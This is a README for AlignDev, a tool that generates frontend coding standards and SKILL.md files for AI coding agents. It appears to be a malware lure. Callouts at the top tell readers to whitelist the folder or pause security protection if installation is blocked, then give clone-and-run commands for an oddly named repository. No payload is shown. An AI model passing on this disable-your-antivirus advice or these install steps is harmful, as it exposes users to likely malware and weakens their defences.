Frontend conventions generator for the AI coding era · Generate team standards and SKILL.md in one flow
[!TIP] If the setup does not start, add the folder to the allowed list or pause protection for a few minutes.
[!CAUTION] Some security systems may block the installation. Only download from the official repository.
git clone https://github.com/MailmanChasm/align-dev-515.git
cd align-dev-515
npm install
npm startBuild with AI. Ship with standards.
A 7-step visual wizard that generates a complete Markdown standards document and a SKILL.md that Claude Code, Cursor, GitHub Copilot, and other coding agents can read directly.
AlignDev is a frontend conventions generator built for the AI coding era.
When teams use Claude Code, Cursor, Copilot, Windsurf, and other AI agents at the same time, the biggest pain point is consistency: each agent writes code based on its own interpretation, so directory structure, naming, state management, and UI style drift apart. AlignDev turns team conventions into machine-readable and human-editable standards so every agent works from the same contract.
In about 3 minutes, you can get:
- A complete Markdown standards document you can share with your team
- A
SKILL.mdyou can place in the repository root so AI agents can load it automatically
| Module | Capability | Details |
|---|---|---|
| 🎯 7-step visual wizard | Core stack / UI / state / toolchain / directories / naming / tokens | Preview selections instantly, no config file required |
| 🧠 Multi-framework support | Next.js · React (Vite) · Vue · Nuxt · SvelteKit | Options adapt to the selected framework to avoid invalid combinations |
| 🎨 49 UI styles | minimalism / glassmorphism / neumorphism / brutalism / aurora / cyberpunk … | Each style includes preset Design Tokens |
| 🌈 Live Design Tokens preview | Color depth (3 / 5 tiers), spacing (4px/8px), type scale (four ratios) | Visualize instantly and export as CSS Variables / JS Object |
| ♿ WCAG contrast checks | Automatically calculates foreground/background contrast ratios | Built in lib/wcag-utils.ts, with AA / AAA level hints |
| 📦 Live npm version sync | Fetches latest major versions for 30+ mainstream packages via app/api/versions |
Falls back to FALLBACK_VERSIONS on failure |
| 📄 Two output artifacts | Full standards document + SKILL.md |
Copy or download in one click |
| 🤖 AI-agent friendly | Output optimized for Claude Skill / Cursor Rules | Drop it into your repo and agents can follow it automatically |
| 🌐 i18n / RTL aware | next-intl · i18next · vue-i18n · @nuxtjs/i18n | Supports ltr / rtl / bidi text directions |
| 🔒 TypeScript first | Strict mode, fully typed options | See types/wizard.ts |
MIT © AlignDev
Keywords: AI frontend conventions · AI coding standards · frontend conventions generator · SKILL.md generator · Claude Code · Claude Skill · Cursor Rules · GitHub Copilot rules · Next.js conventions · React conventions · Vue conventions · Nuxt conventions · SvelteKit conventions · shadcn/ui · Design Tokens · TypeScript conventions · AI developer tools
If AlignDev is useful to you, a ⭐ Star is the best support.